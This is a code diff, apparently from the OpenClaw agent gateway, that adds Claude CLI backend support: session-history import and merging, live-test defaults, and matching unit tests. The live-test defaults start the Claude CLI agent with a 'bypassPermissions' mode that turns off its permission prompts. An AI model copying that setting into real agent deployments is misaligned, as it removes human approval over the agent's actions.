'Sender (untrusted metadata):\n```json\n{"label":"openclaw-control-ui"}\n```\n\n[Thu 2026-03-26 16:29 GMT] hi',
timestamp: Date.parse("2026-03-26T16:29:54.800Z"),
__openclaw: {
importedFrom: "claude-cli",
externalId: "user-1",
cliSessionId: "session-1",
},
},
{
role: "assistant",
content: [{ type: "text", text: "hello from Claude" }],
timestamp: Date.parse("2026-03-26T16:29:55.500Z"),
__openclaw: {
importedFrom: "claude-cli",
externalId: "assistant-1",
cliSessionId: "session-1",
},
},
{
role: "user",
content: "[Thu 2026-03-26 16:31 GMT] follow-up",
timestamp: Date.parse("2026-03-26T16:31:00.000Z"),
__openclaw: {
importedFrom: "claude-cli",
externalId: "user-2",
cliSessionId: "session-1",
},
},
];
const merged = mergeImportedChatHistoryMessages({ localMessages, importedMessages });
expect(merged).toHaveLength(3);
expect(merged[2]).toMatchObject({
role: "user",
__openclaw: {
importedFrom: "claude-cli",
externalId: "user-2",
},
});
});
it("augments chat history when a session has a claude-cli binding", async () => {
await withClaudeProjectsDir(async ({ homeDir, sessionId }) => {
const messages = augmentChatHistoryWithCliSessionImports({
entry: {
sessionId: "openclaw-session",
updatedAt: Date.now(),
cliSessionBindings: {
"claude-cli": {
sessionId,
},
},
},
provider: "claude-cli",
localMessages: [],
homeDir,
});
expect(messages).toHaveLength(3);
expect(messages[0]).toMatchObject({
role: "user",
__openclaw: { cliSessionId: sessionId },
});
});
});
it("falls back to legacy cliSessionIds when bindings are absent", async () => {
await withClaudeProjectsDir(async ({ homeDir, sessionId }) => {
const messages = augmentChatHistoryWithCliSessionImports({
entry: {
sessionId: "openclaw-session",
updatedAt: Date.now(),
cliSessionIds: {
"claude-cli": sessionId,
},
},
provider: "claude-cli",
localMessages: [],
homeDir,
});
expect(messages).toHaveLength(3);
expect(messages[1]).toMatchObject({
role: "assistant",
__openclaw: { cliSessionId: sessionId },
});
});
});
it("falls back to legacy claudeCliSessionId when newer fields are absent", async () => {
await withClaudeProjectsDir(async ({ homeDir, sessionId }) => {
const messages = augmentChatHistoryWithCliSessionImports({
entry: {
sessionId: "openclaw-session",
updatedAt: Date.now(),
claudeCliSessionId: sessionId,
},
provider: "claude-cli",
localMessages: [],
homeDir,
});
expect(messages).toHaveLength(3);
expect(messages[0]).toMatchObject({
role: "user",
__openclaw: { cliSessionId: sessionId },
});
});
});
});

View File

@@ -1,7 +1,18 @@
import { normalizeProviderId } from "../agents/model-selection.js";
import type { SessionEntry } from "../config/sessions.js";
import {
CLAUDE_CLI_PROVIDER,
readClaudeCliSessionMessages,
resolveClaudeCliBindingSessionId,
resolveClaudeCliSessionFilePath,
} from "./cli-session-history.claude.js";
import { mergeImportedChatHistoryMessages } from "./cli-session-history.merge.js";
export { mergeImportedChatHistoryMessages };
export {
mergeImportedChatHistoryMessages,
readClaudeCliSessionMessages,
resolveClaudeCliSessionFilePath,
};
export function augmentChatHistoryWithCliSessionImports(params: {
entry: SessionEntry | undefined;
@@ -9,8 +20,26 @@ export function augmentChatHistoryWithCliSessionImports(params: {
localMessages: unknown[];
homeDir?: string;
}): unknown[] {
void params.entry;
void params.provider;
void params.homeDir;
return params.localMessages;
const cliSessionId = resolveClaudeCliBindingSessionId(params.entry);
if (!cliSessionId) {
return params.localMessages;
}
const normalizedProvider = normalizeProviderId(params.provider ?? "");
if (
normalizedProvider &&
normalizedProvider !== CLAUDE_CLI_PROVIDER &&
params.localMessages.length > 0
) {
return params.localMessages;
}
const importedMessages = readClaudeCliSessionMessages({
cliSessionId,
homeDir: params.homeDir,
});
return mergeImportedChatHistoryMessages({
localMessages: params.localMessages,
importedMessages,
});
}

View File

@@ -21,10 +21,21 @@ const CLI_IMAGE = isTruthyEnvValue(process.env.OPENCLAW_LIVE_CLI_BACKEND_IMAGE_P
const CLI_RESUME = isTruthyEnvValue(process.env.OPENCLAW_LIVE_CLI_BACKEND_RESUME_PROBE);
const describeLive = LIVE && CLI_LIVE ? describe : describe.skip;
const DEFAULT_MODEL = "codex-cli/gpt-5.4";
const DEFAULT_MODEL = "claude-cli/claude-sonnet-4-6";
const BOOTSTRAP_LIVE_MODEL = process.env.OPENCLAW_LIVE_CLI_BACKEND_MODEL ?? DEFAULT_MODEL;
const describeBootstrapLive =
LIVE && CLI_LIVE && BOOTSTRAP_LIVE_MODEL.startsWith("codex-cli/") ? describe : describe.skip;
const describeClaudeBootstrapLive =
LIVE && CLI_LIVE && BOOTSTRAP_LIVE_MODEL.startsWith("claude-cli/") ? describe : describe.skip;
const DEFAULT_CLAUDE_ARGS = [
"-p",
"--output-format",
"stream-json",
"--include-partial-messages",
"--verbose",
"--setting-sources",
"user",
"--permission-mode",
"bypassPermissions",
];
const DEFAULT_CODEX_ARGS = [
"exec",
"--json",
@@ -34,6 +45,28 @@ const DEFAULT_CODEX_ARGS = [
"read-only",
"--skip-git-repo-check",
];
const DEFAULT_CLEAR_ENV = [
"ANTHROPIC_API_KEY",
"ANTHROPIC_API_KEY_OLD",
"ANTHROPIC_AUTH_TOKEN",
"ANTHROPIC_BASE_URL",
"ANTHROPIC_UNIX_SOCKET",
"CLAUDE_CONFIG_DIR",
"CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR",
"CLAUDE_CODE_ENTRYPOINT",
"CLAUDE_CODE_OAUTH_REFRESH_TOKEN",
"CLAUDE_CODE_OAUTH_SCOPES",
"CLAUDE_CODE_OAUTH_TOKEN",
"CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR",
"CLAUDE_CODE_PLUGIN_CACHE_DIR",
"CLAUDE_CODE_PLUGIN_SEED_DIR",
"CLAUDE_CODE_REMOTE",
"CLAUDE_CODE_USE_COWORK_PLUGINS",
"CLAUDE_CODE_USE_BEDROCK",
"CLAUDE_CODE_USE_FOUNDRY",
"CLAUDE_CODE_USE_VERTEX",
];
function randomImageProbeCode(len = 6): string {
// Chosen to avoid common OCR confusions in our 5x7 bitmap font.
// Notably: 0↔8, B↔8, 6↔9, 3↔B, D↔0.
@@ -103,6 +136,17 @@ function parseImageMode(raw?: string): "list" | "repeat" | undefined {
throw new Error("OPENCLAW_LIVE_CLI_BACKEND_IMAGE_MODE must be 'list' or 'repeat'.");
}
function withMcpConfigOverrides(args: string[], mcpConfigPath: string): string[] {
const next = [...args];
if (!next.includes("--strict-mcp-config")) {
next.push("--strict-mcp-config");
}
if (!next.includes("--mcp-config")) {
next.push("--mcp-config", mcpConfigPath);
}
return next;
}
async function getFreeGatewayPort(): Promise<number> {
return await getFreePortBlockWithPermissionFallback({
offsets: [0, 1, 2, 4],
@@ -248,7 +292,7 @@ describeLive("gateway live (cli backend)", () => {
process.env.OPENCLAW_GATEWAY_TOKEN = token;
const rawModel = process.env.OPENCLAW_LIVE_CLI_BACKEND_MODEL ?? DEFAULT_MODEL;
const parsed = parseModelRef(rawModel, "codex-cli");
const parsed = parseModelRef(rawModel, "claude-cli");
if (!parsed) {
throw new Error(
`OPENCLAW_LIVE_CLI_BACKEND_MODEL must resolve to a CLI backend model. Got: ${rawModel}`,
@@ -258,7 +302,11 @@ describeLive("gateway live (cli backend)", () => {
const modelKey = `${providerId}/${parsed.model}`;
const providerDefaults =
providerId === "codex-cli" ? { command: "codex", args: DEFAULT_CODEX_ARGS } : null;
providerId === "claude-cli"
? { command: "claude", args: DEFAULT_CLAUDE_ARGS }
: providerId === "codex-cli"
? { command: "codex", args: DEFAULT_CODEX_ARGS }
: null;
const cliCommand = process.env.OPENCLAW_LIVE_CLI_BACKEND_COMMAND ?? providerDefaults?.command;
if (!cliCommand) {
@@ -278,7 +326,7 @@ describeLive("gateway live (cli backend)", () => {
parseJsonStringArray(
"OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV",
process.env.OPENCLAW_LIVE_CLI_BACKEND_CLEAR_ENV,
) ?? [];
) ?? (providerId === "claude-cli" ? DEFAULT_CLEAR_ENV : []);
const filteredCliClearEnv = cliClearEnv.filter((name) => !preservedEnv.has(name));
const preservedCliEnv = Object.fromEntries(
[...preservedEnv]
@@ -295,7 +343,13 @@ describeLive("gateway live (cli backend)", () => {
}
const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-live-cli-"));
const cliArgs = baseCliArgs;
const disableMcpConfig = process.env.OPENCLAW_LIVE_CLI_BACKEND_DISABLE_MCP_CONFIG !== "0";
let cliArgs = baseCliArgs;
if (providerId === "claude-cli" && disableMcpConfig) {
const mcpConfigPath = path.join(tempDir, "claude-mcp.json");
await fs.writeFile(mcpConfigPath, `${JSON.stringify({ mcpServers: {} }, null, 2)}\n`);
cliArgs = withMcpConfigOverrides(baseCliArgs, mcpConfigPath);
}
const cfg = loadConfig();
const cfgWithCliBackends = cfg as OpenClawConfig & {
@@ -496,8 +550,8 @@ describeLive("gateway live (cli backend)", () => {
}, 60_000);
});
describeBootstrapLive("gateway live (cli backend bootstrap context)", () => {
it("injects AGENTS, SOUL, IDENTITY, and USER files into the first CLI turn", async () => {
describeClaudeBootstrapLive("gateway live (claude-cli bootstrap context)", () => {
it("injects AGENTS, SOUL, IDENTITY, and USER files into the first Claude CLI turn", async () => {
const result = await runGatewayCliBootstrapLiveProbe();
expect(result.ok).toBe(true);
expect(result.text).toBe(result.expectedText);

View File

@@ -39,12 +39,12 @@ describe("resolveOpenAiCompatModelOverride", () => {
it("rejects CLI model overrides outside the configured allowlist", async () => {
await expect(
resolveOpenAiCompatModelOverride({
req: createReq({ "x-openclaw-model": "codex-cli/gpt-5.4" }),
req: createReq({ "x-openclaw-model": "claude-cli/opus" }),
agentId: "main",
model: "openclaw",
}),
).resolves.toEqual({
errorMessage: "Model 'codex-cli/gpt-5.4' is not allowed for agent 'main'.",
errorMessage: "Model 'claude-cli/opus' is not allowed for agent 'main'.",
});
});
});

View File

@@ -206,6 +206,27 @@ async function runMainAgent(message: string, idempotencyKey: string) {
return respond;
}
async function runMainAgentAndCaptureEntry(idempotencyKey: string) {
const loaded = mocks.loadSessionEntry();
const canonicalKey = loaded?.canonicalKey ?? "agent:main:main";
const existingEntry = structuredClone(loaded?.entry ?? buildExistingMainStoreEntry());
let capturedEntry: Record<string, unknown> | undefined;
mocks.updateSessionStore.mockImplementation(async (_path, updater) => {
const store: Record<string, unknown> = {
[canonicalKey]: existingEntry,
};
const result = await updater(store);
capturedEntry = result as Record<string, unknown>;
return result;
});
mocks.agentCommand.mockResolvedValue({
payloads: [{ text: "ok" }],
meta: { durationMs: 100 },
});
await runMainAgent("hi", idempotencyKey);
return capturedEntry;
}
function readLastAgentCommandCall():
| {
message?: string;
@@ -431,6 +452,20 @@ describe("gateway agent handler", () => {
);
});
it("preserves cliSessionIds from existing session entry", async () => {
const existingCliSessionIds = { "claude-cli": "abc-123-def" };
const existingClaudeCliSessionId = "abc-123-def";
mockMainSessionEntry({
cliSessionIds: existingCliSessionIds,
claudeCliSessionId: existingClaudeCliSessionId,
});
const capturedEntry = await runMainAgentAndCaptureEntry("test-idem");
expect(capturedEntry).toBeDefined();
expect(capturedEntry?.cliSessionIds).toEqual(existingCliSessionIds);
expect(capturedEntry?.claudeCliSessionId).toBe(existingClaudeCliSessionId);
});
it("reactivates completed subagent sessions and broadcasts send updates", async () => {
const childSessionKey = "agent:main:subagent:followup";
const completedRun = {
@@ -939,6 +974,15 @@ describe("gateway agent handler", () => {
});
});
it("handles missing cliSessionIds gracefully", async () => {
mockMainSessionEntry({});
const capturedEntry = await runMainAgentAndCaptureEntry("test-idem-2");
expect(capturedEntry).toBeDefined();
// Should be undefined, not cause an error
expect(capturedEntry?.cliSessionIds).toBeUndefined();
expect(capturedEntry?.claudeCliSessionId).toBeUndefined();
});
it("prunes legacy main alias keys when writing a canonical session entry", async () => {
mocks.loadSessionEntry.mockReturnValue({
cfg: {

View File

@@ -116,6 +116,86 @@ async function prepareMainHistoryHarness(params: {
}
describe("gateway server chat", () => {
test("chat.history backfills claude-cli sessions from Claude project files", async () => {
await withGatewayChatHarness(async ({ ws, createSessionDir }) => {
await connectOk(ws);
const sessionDir = await createSessionDir();
const originalHome = process.env.HOME;
const homeDir = path.join(sessionDir, "home");
const cliSessionId = "5b8b202c-f6bb-4046-9475-d2f15fd07530";
const claudeProjectsDir = path.join(homeDir, ".claude", "projects", "workspace");
await fs.mkdir(claudeProjectsDir, { recursive: true });
await fs.writeFile(
path.join(claudeProjectsDir, `${cliSessionId}.jsonl`),
[
JSON.stringify({
type: "queue-operation",
operation: "enqueue",
timestamp: "2026-03-26T16:29:54.722Z",
sessionId: cliSessionId,
content: "[Thu 2026-03-26 16:29 GMT] hi",
}),
JSON.stringify({
type: "user",
uuid: "user-1",
timestamp: "2026-03-26T16:29:54.800Z",
message: {
role: "user",
content:
'Sender (untrusted metadata):\n```json\n{"label":"openclaw-control-ui"}\n```\n\n[Thu 2026-03-26 16:29 GMT] hi',
},
}),
JSON.stringify({
type: "assistant",
uuid: "assistant-1",
timestamp: "2026-03-26T16:29:55.500Z",
message: {
role: "assistant",
model: "claude-sonnet-4-6",
content: [{ type: "text", text: "hello from Claude" }],
},
}),
].join("\n"),
"utf-8",
);
process.env.HOME = homeDir;
try {
await writeSessionStore({
entries: {
main: {
sessionId: "sess-main",
updatedAt: Date.now(),
modelProvider: "claude-cli",
model: "claude-sonnet-4-6",
cliSessionBindings: {
"claude-cli": {
sessionId: cliSessionId,
},
},
},
},
});
const messages = await fetchHistoryMessages(ws);
expect(messages).toHaveLength(2);
expect(messages[0]).toMatchObject({
role: "user",
content: "hi",
});
expect(messages[1]).toMatchObject({
role: "assistant",
provider: "claude-cli",
});
} finally {
if (originalHome === undefined) {
delete process.env.HOME;
} else {
process.env.HOME = originalHome;
}
}
});
});
test("smoke: caps history payload and preserves routing metadata", async () => {
await withGatewayChatHarness(async ({ ws, createSessionDir }) => {
const historyMaxBytes = 64 * 1024;

View File

@@ -1340,6 +1340,17 @@ describe("gateway server sessions", () => {
execAsk: "on-miss",
execNode: "mac-mini",
displayName: "Ops Child",
cliSessionIds: {
"claude-cli": "cli-session-123",
},
cliSessionBindings: {
"claude-cli": {
sessionId: "cli-session-123",
authProfileId: "anthropic:work",
extraSystemPromptHash: "prompt-hash",
},
},
claudeCliSessionId: "cli-session-123",
deliveryContext: {
channel: "discord",
to: "discord:child",
@@ -1389,6 +1400,17 @@ describe("gateway server sessions", () => {
execAsk?: string;
execNode?: string;
displayName?: string;
cliSessionBindings?: Record<
string,
{
sessionId?: string;
authProfileId?: string;
extraSystemPromptHash?: string;
mcpConfigHash?: string;
}
>;
cliSessionIds?: Record<string, string>;
claudeCliSessionId?: string;
deliveryContext?: {
channel?: string;
to?: string;
@@ -1433,6 +1455,17 @@ describe("gateway server sessions", () => {
expect(reset.payload?.entry.execAsk).toBe("on-miss");
expect(reset.payload?.entry.execNode).toBe("mac-mini");
expect(reset.payload?.entry.displayName).toBe("Ops Child");
expect(reset.payload?.entry.cliSessionBindings).toEqual({
"claude-cli": {
sessionId: "cli-session-123",
authProfileId: "anthropic:work",
extraSystemPromptHash: "prompt-hash",
},
});
expect(reset.payload?.entry.cliSessionIds).toEqual({
"claude-cli": "cli-session-123",
});
expect(reset.payload?.entry.claudeCliSessionId).toBe("cli-session-123");
expect(reset.payload?.entry.deliveryContext).toEqual({
channel: "discord",
to: "discord:child",
@@ -1477,6 +1510,17 @@ describe("gateway server sessions", () => {
execAsk?: string;
execNode?: string;
displayName?: string;
cliSessionBindings?: Record<
string,
{
sessionId?: string;
authProfileId?: string;
extraSystemPromptHash?: string;
mcpConfigHash?: string;
}
>;
cliSessionIds?: Record<string, string>;
claudeCliSessionId?: string;
deliveryContext?: {
channel?: string;
to?: string;
@@ -1519,6 +1563,17 @@ describe("gateway server sessions", () => {
expect(store["agent:main:subagent:child"]?.execAsk).toBe("on-miss");
expect(store["agent:main:subagent:child"]?.execNode).toBe("mac-mini");
expect(store["agent:main:subagent:child"]?.displayName).toBe("Ops Child");
expect(store["agent:main:subagent:child"]?.cliSessionBindings).toEqual({
"claude-cli": {
sessionId: "cli-session-123",
authProfileId: "anthropic:work",
extraSystemPromptHash: "prompt-hash",
},
});
expect(store["agent:main:subagent:child"]?.cliSessionIds).toEqual({
"claude-cli": "cli-session-123",
});
expect(store["agent:main:subagent:child"]?.claudeCliSessionId).toBe("cli-session-123");
expect(store["agent:main:subagent:child"]?.deliveryContext).toEqual({
channel: "discord",
to: "discord:child",

View File

@@ -25,6 +25,7 @@ export * from "../agents/agent-command.js";
export * from "../tts/tts.js";
export {
CLAUDE_CLI_PROFILE_ID,
CODEX_CLI_PROFILE_ID,
dedupeProfileIds,
listProfilesForProvider,

View File

@@ -0,0 +1,14 @@
// Manual facade. Keep loader boundary explicit.
type FacadeModule = typeof import("@openclaw/anthropic/api.js");
import { loadBundledPluginPublicSurfaceModuleSync } from "./facade-runtime.js";
function loadFacadeModule(): FacadeModule {
return loadBundledPluginPublicSurfaceModuleSync<FacadeModule>({
dirName: "anthropic",
artifactBasename: "api.js",
});
}
export const CLAUDE_CLI_BACKEND_ID: FacadeModule["CLAUDE_CLI_BACKEND_ID"] =
loadFacadeModule()["CLAUDE_CLI_BACKEND_ID"];
export const isClaudeCliProvider: FacadeModule["isClaudeCliProvider"] = ((...args) =>
loadFacadeModule()["isClaudeCliProvider"](...args)) as FacadeModule["isClaudeCliProvider"];

View File

@@ -10,7 +10,7 @@ export type { ProviderAuthResult } from "../plugins/types.js";
export type { ProviderAuthContext } from "../plugins/types.js";
export type { AuthProfileStore, OAuthCredential } from "../agents/auth-profiles/types.js";
export { CODEX_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
export { CLAUDE_CLI_PROFILE_ID, CODEX_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
export { ensureAuthProfileStore } from "../agents/auth-profiles/store.js";
export {
listProfilesForProvider,
@@ -18,6 +18,7 @@ export {
upsertAuthProfileWithLock,
} from "../agents/auth-profiles/profiles.js";
export { resolveEnvApiKey } from "../agents/model-auth-env.js";
export { readClaudeCliCredentialsCached } from "../agents/cli-credentials.js";
export { suggestOAuthProfileIdForLegacyDefault } from "../agents/auth-profiles/repair.js";
export {
MINIMAX_OAUTH_MARKER,

View File

@@ -23,8 +23,9 @@ describe("applyProviderAuthConfigPatch", () => {
agents: {
defaults: {
models: {
"codex-cli/gpt-5.4": { alias: "Codex" },
"google-gemini-cli/gemini-3.1-pro-preview": { alias: "Gemini" },
"claude-cli/claude-sonnet-4-6": { alias: "Sonnet" },
"claude-cli/claude-opus-4-6": { alias: "Opus" },
"openai/gpt-5.2": {},
},
},
},

View File

@@ -305,16 +305,16 @@ describe("provider-runtime", () => {
it("matches providers by hook alias for runtime hook lookup", () => {
resolvePluginProvidersMock.mockReturnValue([
{
id: "openai-codex",
label: "OpenAI Codex",
hookAliases: ["codex-cli"],
id: "anthropic",
label: "Anthropic",
hookAliases: ["claude-cli"],
auth: [],
},
]);
expectProviderRuntimePluginLoad({
provider: "codex-cli",
expectedPluginId: "openai-codex",
provider: "claude-cli",
expectedPluginId: "anthropic",
});
});

View File

@@ -225,6 +225,39 @@ describe("provider wizard boundaries", () => {
},
resolveWizard: (provider: ProviderPlugin) => provider.auth[0]?.wizard,
},
{
name: "returns method wizard metadata for canonical choices",
provider: makeProvider({
id: "anthropic",
label: "Anthropic",
auth: [
{
id: "cli",
label: "Claude CLI",
kind: "custom",
wizard: {
choiceId: "anthropic-cli",
modelAllowlist: {
allowedKeys: ["claude-cli/claude-sonnet-4-6"],
initialSelections: ["claude-cli/claude-sonnet-4-6"],
message: "Claude CLI models",
},
},
run: vi.fn(),
},
],
}),
choice: "anthropic-cli",
expectedOption: {
value: "anthropic-cli",
label: "Anthropic",
groupId: "anthropic",
groupLabel: "Anthropic",
groupHint: undefined,
hint: undefined,
},
resolveWizard: (provider: ProviderPlugin) => provider.auth[0]?.wizard,
},
] as const)("$name", ({ provider, choice, expectedOption, resolveWizard }) => {
expectSingleWizardChoice({
provider,

View File

@@ -26,6 +26,7 @@ let setActivePluginRegistry: SetActivePluginRegistry;
function createManifestProviderPlugin(params: {
id: string;
providerIds: string[];
cliBackends?: string[];
origin?: "bundled" | "workspace";
enabledByDefault?: boolean;
modelSupport?: { modelPrefixes?: string[]; modelPatterns?: string[] };
@@ -35,7 +36,7 @@ function createManifestProviderPlugin(params: {
enabledByDefault: params.enabledByDefault,
channels: [],
providers: params.providerIds,
cliBackends: [],
cliBackends: params.cliBackends ?? [],
modelSupport: params.modelSupport,
skills: [],
hooks: [],
@@ -69,6 +70,7 @@ function setOwningProviderManifestPlugins() {
createManifestProviderPlugin({
id: "anthropic",
providerIds: ["anthropic"],
cliBackends: ["claude-cli"],
modelSupport: {
modelPrefixes: ["claude-"],
},
@@ -92,6 +94,7 @@ function setOwningProviderManifestPluginsWithWorkspace() {
createManifestProviderPlugin({
id: "anthropic",
providerIds: ["anthropic"],
cliBackends: ["claude-cli"],
modelSupport: {
modelPrefixes: ["claude-"],
},
@@ -278,6 +281,7 @@ describe("resolvePluginProviders", () => {
it("maps cli backend ids to owning plugin ids via manifests", () => {
setOwningProviderManifestPlugins();
expectOwningPluginIds("claude-cli", ["anthropic"]);
expectOwningPluginIds("codex-cli", ["openai"]);
});

View File

@@ -677,20 +677,20 @@ describe("plugin status reports", () => {
it("treats a CLI-command-only plugin as a non-capability", () => {
setSinglePluginLoadResult(
createPluginRecord({
id: "openai",
name: "OpenAI",
cliCommands: ["openai"],
id: "anthropic",
name: "Anthropic",
cliBackendIds: ["claude-cli"],
}),
);
const inspect = expectInspectReport("openai");
const inspect = expectInspectReport("anthropic");
expectInspectShape(inspect, {
shape: "non-capability",
capabilityMode: "none",
capabilityKinds: [],
});
expect(inspect.capabilities).toEqual([]);
expect(inspect.capabilities).toEqual([{ kind: "cli-backend", ids: ["claude-cli"] }]);
});
it("builds compatibility warnings for legacy compatibility paths", () => {

View File

@@ -2004,7 +2004,7 @@ export type OpenClawPluginService = {
/** Plugin-owned CLI backend defaults used by the text-only CLI runner. */
export type CliBackendPlugin = {
/** Provider id used in model refs, for example `codex-cli/gpt-5`. */
/** Provider id used in model refs, for example `claude-cli/opus`. */
id: string;
/** Default backend config before user overrides from `agents.defaults.cliBackends`. */
config: CliBackendConfig;

View File

@@ -7,6 +7,7 @@ export const pluginRegistrationContractCases = {
pluginId: "anthropic",
providerIds: ["anthropic"],
mediaUnderstandingProviderIds: ["anthropic"],
cliBackendIds: ["claude-cli"],
requireDescribeImages: true,
},
brave: {

View File

@@ -11,6 +11,7 @@ import { loadPluginManifestRegistry } from "../../../src/plugins/manifest-regist
type PluginRegistrationContractParams = {
pluginId: string;
cliBackendIds?: string[];
providerIds?: string[];
webFetchProviderIds?: string[];
webSearchProviderIds?: string[];
@@ -121,6 +122,12 @@ function findMusicGenerationProviderIds(pluginId: string) {
export function describePluginRegistrationContract(params: PluginRegistrationContractParams) {
describe(`${params.pluginId} plugin registration contract`, () => {
if (params.cliBackendIds) {
it("keeps bundled cli-backend ownership explicit", () => {
expect(findRegistration(params.pluginId).cliBackendIds).toEqual(params.cliBackendIds);
});
}
if (params.providerIds) {
it("keeps bundled provider ownership explicit", () => {
expect(findRegistration(params.pluginId).providerIds).toEqual(params.providerIds);